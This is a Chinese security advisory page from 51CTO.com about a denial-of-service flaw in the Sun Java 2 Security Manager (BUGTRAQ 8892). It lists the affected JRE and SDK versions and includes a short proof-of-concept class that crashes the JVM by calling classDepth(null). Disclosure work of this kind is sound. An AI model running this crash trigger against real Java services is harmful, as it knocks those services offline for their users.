频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
首页>>网络安全>>漏洞补丁>>Sun>>
找资料：

Sun Microsystems Java虚拟机安全管理器拒绝服务攻击漏洞

作者: 出处:51CTO.COM　 (  ) 砖  (  ) 好  评论 ( ) 条 　进入论坛
更新时间：2005-08-10 10:35
关 键 词：Java  安全  漏洞  Sun
阅读提示：设计错误##拒绝服务攻击##注意防范

信息提供：

 安全公告（或线索）提供热线：51cto.editor@gmail.com

漏洞类别：

 设计错误

攻击类型：

 拒绝服务攻击

发布日期：

 2003-10-26

更新日期：

 2003-10-31

受影响系统：

 Sun JRE (Linux Production Release) 1.4.2
Sun JRE (Linux Production Release) 1.4.1_04
Sun JRE (Linux Production Release) 1.4.1_03
Sun JRE (Linux Production Release) 1.4.1_02
Sun JRE (Linux Production Release) 1.4.1_01
Sun JRE (Linux Production Release) 1.4.1
Sun JRE (Linux Production Release) 1.4.0_04
Sun JRE (Linux Production Release) 1.4.0_03
Sun JRE (Linux Production Release) 1.4.0_02
Sun JRE (Linux Production Release) 1.4
Sun JRE (Linux Production Release) 1.3.1_07
Sun JRE (Linux Production Release) 1.3.1_06
Sun JRE (Linux Production Release) 1.3.1_06
Sun JRE (Linux Production Release) 1.3.1_05
Sun JRE (Linux Production Release) 1.3.1_03
Sun JRE (Linux Production Release) 1.3.1_02
Sun JRE (Linux Production Release) 1.3.1_01
Sun JRE (Linux Production Release) 1.3.1
Sun JRE (Linux Production Release) 1.3.0_05
Sun JRE (Linux Production Release) 1.3.0_02
Sun JRE (Linux Production Release) 1.3.0
Sun JRE (Linux Production Release) 1.2.2_12
Sun JRE (Linux Production Release) 1.2.2_015
Sun JRE (Linux Production Release) 1.2.2_014
Sun JRE (Linux Production Release) 1.2.2_013
Sun JRE (Linux Production Release) 1.2.2_011
Sun JRE (Linux Production Release) 1.2.2_010
Sun JRE (Linux Production Release) 1.2.2_007
Sun JRE (Linux Production Release) 1.2.2_003
Sun JRE (Solaris Production Release) 1.4.2
Sun JRE (Solaris Production Release) 1.4.1_03
Sun JRE (Solaris Production Release) 1.4.1_02
Sun JRE (Solaris Production Release) 1.4.1_01
Sun JRE (Solaris Production Release) 1.4.1
Sun JRE (Solaris Production Release) 1.4.0_03
Sun JRE (Solaris Production Release) 1.4
Sun JRE (Solaris Production Release) 1.3_05
Sun JRE (Solaris Production Release) 1.3.1_06
Sun JRE (Solaris Production Release) 1.3.1_05
Sun JRE (Solaris Production Release) 1.3.1_03
Sun JRE (Solaris Production Release) 1.3.1_02
Sun JRE (Solaris Production Release) 1.3.1_01
Sun JRE (Solaris Production Release) 1.3.0_02
Sun JRE (Solaris Production Release) 1.3
Sun JRE (Solaris Production Release) 1.2.2_11
Sun JRE (Solaris Production Release) 1.2.2_10
Sun JRE (Solaris Production Release) 1.2.2_07
Sun JRE (Solaris Production Release) 1.2.1
Sun JRE (Solaris Production Release) 1.2
Sun JRE (Solaris Production Release) 1.1.8_15
Sun JRE (Solaris Production Release) 1.1.8_14
Sun JRE (Solaris Production Release) 1.1.8_13
Sun JRE (Solaris Production Release) 1.1.8_10
Sun JRE (Solaris Production Release) 1.1.7B
Sun JRE (Solaris Production Release) 1.1.6
Sun JRE (Solaris Reference Release) 1.2.2_015
Sun JRE (Solaris Reference Release) 1.2.2_014
Sun JRE (Solaris Reference Release) 1.2.2_013
Sun JRE (Solaris Reference Release) 1.2.2_012
Sun JRE (Solaris Reference Release) 1.2.2_011
Sun JRE (Solaris Reference Release) 1.2.2_010
Sun JRE (Solaris Reference Release) 1.2.2
Sun JRE (Solaris Reference Release) 1.2.1
Sun JRE (Solaris Reference Release) 1.2
Sun JRE (Solaris Reference Release) 1.1.8_099
Sun JRE (Solaris Reference Release) 1.1.8_008
Sun JRE (Solaris Reference Release) 1.1.8_007
Sun JRE (Windows Production Release) 1.4.2
Sun JRE (Windows Production Release) 1.4.1_03
Sun JRE (Windows Production Release) 1.4.1_02
Sun JRE (Windows Production Release) 1.4.1_01
Sun JRE (Windows Production Release) 1.4.1
Sun JRE (Windows Production Release) 1.4.0_03
Sun JRE (Windows Production Release) 1.4
Sun JRE (Windows Production Release) 1.3_05
Sun JRE (Windows Production Release) 1.3.1_06
Sun JRE (Windows Production Release) 1.3.1_05
Sun JRE (Windows Production Release) 1.3.1_03
Sun JRE (Windows Production Release) 1.3.1_02
Sun JRE (Windows Production Release) 1.3.1_01a
Sun JRE (Windows Production Release) 1.3.0_02
Sun JRE (Windows Production Release) 1.3
Sun JRE (Windows Production Release) 1.2.2_011
Sun JRE (Windows Production Release) 1.2.2_010
Sun JRE (Windows Production Release) 1.2.2_007
Sun JRE (Windows Production Release) 1.2.1
Sun JRE (Windows Production Release) 1.2
Sun JRE (Windows Production Release) 1.1.8_009
Sun JRE (Windows Production Release) 1.1.8_008
Sun JRE (Windows Production Release) 1.1.8_007
Sun SDK (Solaris Production Release) 1.4.1_03
Sun SDK (Solaris Production Release) 1.4.1_02
Sun SDK (Solaris Production Release) 1.4.1_01
Sun SDK (Solaris Production Release) 1.4.1
Sun SDK (Solaris Production Release) 1.4.0_03
Sun SDK (Solaris Production Release) 1.4.0_02
Sun SDK (Solaris Production Release) 1.4
Sun SDK (Solaris Production Release) 1.3_05
Sun SDK (Solaris Production Release) 1.3.1_06
Sun SDK (Solaris Production Release) 1.3.1_05
Sun SDK (Solaris Production Release) 1.3.1_03
Sun SDK (Solaris Production Release) 1.3.1_02
Sun SDK (Solaris Production Release) 1.3.1_01
Sun SDK (Solaris Production Release) 1.3.0_02
Sun SDK (Solaris Production Release) 1.3
Sun SDK (Solaris Production Release) 1.2.2_11
Sun SDK (Solaris Production Release) 1.2.2_10
Sun SDK (Solaris Production Release) 1.2.2_07a
Sun SDK (Solaris Production Release) 1.2.2_07
Sun SDK (Solaris Production Release) 1.2.1
Sun SDK (Solaris Production Release) 1.2
Sun SDK (Solaris Reference Release) 1.2.2_015
Sun SDK (Solaris Reference Release) 1.2.2_014
Sun SDK (Solaris Reference Release) 1.2.2_013
Sun SDK (Solaris Reference Release) 1.2.2_012
Sun SDK (Solaris Reference Release) 1.2.2_011
Sun SDK (Solaris Reference Release) 1.2.2_010
Sun SDK (Solaris Reference Release) 1.2.2_007
Sun SDK (Solaris Reference Release) 1.2.1
Sun SDK (Solaris Reference Release) 1.2
Sun SDK (Windows Production Release) 1.4.1_03
Sun SDK (Windows Production Release) 1.4.1_02
Sun SDK (Windows Production Release) 1.4.1_01
Sun SDK (Windows Production Release) 1.4.1
Sun SDK (Windows Production Release) 1.4.0_03
Sun SDK (Windows Production Release) 1.4.0_02
Sun SDK (Windows Production Release) 1.4
Sun SDK (Windows Production Release) 1.3_05
Sun SDK (Windows Production Release) 1.3.1_06
Sun SDK (Windows Production Release) 1.3.1_05
Sun SDK (Windows Production Release) 1.3.1_03
Sun SDK (Windows Production Release) 1.3.1_02
Sun SDK (Windows Production Release) 1.3.1_01a
Sun SDK (Windows Production Release) 1.3.0_02
Sun SDK (Windows Production Release) 1.2.2_011
Sun SDK (Windows Production Release) 1.2.2_010
Sun SDK (Windows Production Release) 1.2.2_007
Sun SDK (Windows Production Release) 1.2.1
Sun SDK (Windows Production Release) 1.2
Sun JRE (Linux Production Release) 1.2.2_005
- Debian Linux 2.2
- Mandrake Linux 7.2
- RedHat Linux 7.0
- SuSE Linux 7.0
Sun JRE (Solaris Production Release) 1.2.2_05a
- Sun Solaris 8.0
- Sun Solaris 7.0
- Sun Solaris 2.6
Sun SDK (Solaris Production Release) 1.2.2_05a
- Sun Solaris 8.0
- Sun Solaris 7.0
- Sun Solaris 2.6

安全系统：

无

漏洞报告人：

 Marc Schoenefeld （marc.schoenefeld@uni-muenster.de）

漏洞描述：

 BUGTRAQ  ID: 8892
Java 2安全管理器(Security Managers)针对系统完整性和安全性进行检查的工具。
Java 2安全管理器实现存在问题，远程攻击者可以利用这个漏洞对Sun Java虚拟机进行拒绝服务攻击。
构建特殊的类并运行，会由于NULL指针异常而导致JAVA虚拟机崩溃。

测试方法：

警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Marc Schoenefeld （marc.schoenefeld@uni-muenster.de）提供了如下测试方法：
/* InsecurityManager-Demonstration */
/* coded by Marc Schoenefeld */
public class InSecurityManager extends SecurityManager {
public void doit() {
System.out.println("doit");
int o = classDepth(null);
}
public static void main(String[] a) {
InSecurityManager m = new InSecurityManager();
m.doit();
}
}

解决方法：

 厂商补丁：
Sun
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://java.sun.com/

滚动新闻　术语词典　问题悬赏
发表
评论
共 条 查看
评价
叫个好
拍一砖
相关 专题 文档
相关 博客 帖子
相关 白皮书 资料
相关 讨论组 技术人
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
·平凡黑客讲述精彩人生（八） 有一..
·平凡黑客讲述精彩人生（七） 你和..
· 中国黑客超强X档案 第2..
· 中国黑客超强X档案 第2..
· 中国黑客超强X档案 第2..
 · Windows年底再现图片漏..
· MBSA本地审核策略建议
· 年终岁末，注意病毒给..
 		  · 中国黑客超强X档案 第1..
· 中国黑客超强X档案 第1..
· 中国黑客超强X档案 第1..
 · Java技术交流群：39875..
· （招聘） 技术支持工程..
· 以crossbeam为硬件平台..
排行榜
·网络应用趣味技术自测：从DNS到Mai..
·一台电脑上安装145个操作系统
· 网络应用趣味技术自测..
· 微软统一沟通视频系列..
· Oracle 11g Linux正式..
· 微软整合Windows Live..
· 鲁毅智：英特尔的非法..
· 中兴声明对菲总统禁令..
· 从交换机原理看网络广..
· 开源软件启用Java的新..
   · 7种选择描绘AMD忐忑前途
· 熊猫烧香制造者今日受..
· 微软推新Live Search抗..
· 专家教你写简历系列之..
· Active Directory中的..
· 思科交换机上实现MAC地..
· 微软向OEM厂商提供XP恢..
· ARP攻防实例一：用Sinf..
订阅技术快讯
查看样刊
电子杂志下载
名称：网络安全精品应用黄皮书
简介：《2007精品网络安全黄皮书》包括了9个大类24个小类， 800余篇文章，内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范，涉及到了安全应用的全部领域, 由浅至深内容全面。
名称：Vista精品应用黄皮书
简介：《Vista精品应用黄皮书》囊括了Vista的各方面内容。此次的精简版，是将里面的内容做了提取，便于用户下载和使用。内容包含了各种Vista的安装与实施、技巧与解析以及各种Vista相关学习文档和相关软件的安全下载。该电子书是了解和应用Vista人员必备的工具手册，并且也是第一本
名称：2006中国IT论坛精品集合
简介：本书由“51CTO论坛推广联盟”制作完成。书中所有内容均来自各联盟成员的论坛（网站）。制作本书的目的是为了集中大家的优势资源，将更多更精彩的内容带给广大技术爱好者。本书是联盟成立以来制作的第一本书。
专题
RIP路由协议专栏
RIP路由协议专栏		MPLS路由协议专栏
MPLS路由协议专栏
· OSPF路由协议专栏
· 思科路由器产品
· 华为路由器产品
· 路由器模拟器
· AIX操作系统管理应用（..
· 思科路由器配置
· 路由器组网解决方案
· 路由器密码恢复
 · 无线路由器故障处理
· 路由故障处理手册
· 路由器访问控制列表(AC..
· 路由器的安全配置与安..
· 无线路由器配置
· 路由器技巧
· 华为路由器配置
· 路由器配置基础
Java编程开发手册
Java编程开发手册		Java基础教程
Java基础教程
· Java基础教程
· VPN技术
· SQL Server 2005全解
· ARP攻击防范与解决方案
· SOA 面向服务架构
· SQL Server 2005全解
· Java编程开发手册
· 三层交换技术专题
 · SQL Server入门到精通
· Windows Server 2003企..
· Windows远程桌面应用
· C#技术开发指南
· VPN技术
· Solaris 10 配置管理
· C#技术开发指南
· Windows操作系统安装
Java编程开发手册
Java编程开发手册		Java基础教程
Java基础教程
· VPN技术
· ARP攻击防范与解决方案
· SQL Server 2005全解
· Java基础教程
· SQL Server入门到精通
· SQL Server 2005全解
· SOA 面向服务架构
· Java编程开发手册
 · C#技术开发指南
· 三层交换技术专题
· C#技术开发指南
· Windows远程桌面应用
· Windows Server 2003企..
· 邮件服务器专题
· wimax技术与趋势
· Windows操作系统安装
专家
DB2 9技术资源中.. 推荐阅读  
·DB2 Viper快速入门
·DB2 9数据库的镜像分割与..		 ·将XML应用程序从DB2 8.x..
·DB2 9中的pureXML：如何..
51CTO.com编辑部.. 推荐阅读  
·服务器中的“傻瓜机”在..
·盖茨也喜欢登录Youtube看..		 ·
·
hellen 的博客  
· 职场冲浪（之八）：让感..
·职场冲浪（之七）：潜心..		 ·人生如鞋
·职场冲浪(之六):从离梦最..
白璐 的博客  
·将职业教育职业化 - 各IT..
·思科交换机上实现MAC地址..		 ·关于51CTO合作出书中的职..
·OSPF动态路由协议入门简介
关键字阅读
频道精选
组网建网 安全频道
· NGN:下一代网络
· 网络访问中断大排查
· FTTx光纤接入
 · 平凡黑客讲述精彩人生（..
· 平凡黑客讲述精彩人生（..
· 平凡黑客讲述精彩人生（..
编程频道 前沿技术
· C++是垃圾语言？！
· 2007年IT界七大抄袭事件
· Java实用开发全集
 · 解析Ajax开发框架 走进A..
· 基于Google Maps与Ajax..
· 基于Google Maps与Ajax..
操作系统 服务器
· Ubuntu 中文开源频道
· Solaris基础知识入门
· 微软正式发布英文版Wind..
 · 服务器基础知识入门
· Rambus第二？看全缓冲内..
· 服务器节能对比测试：AM..
数据库 存储频道
· 甲骨文Oracle 11g正式发..
· Oracle数据库开发之PL/S..
· Oracle数据库开发基础教..
 · 存储2006，一个并购的大..
· IDC宣布浪潮蝉联存储市..
· 双机热备技术
主编信箱 热线:010-66476606　告诉我们您想看的：专题　文章
关于我们 | 诚聘英才 | 联系我们 | 网站大事 | 意见反馈 | 网站地图
Copyright©2005-2007 51CTO.COM 版权所有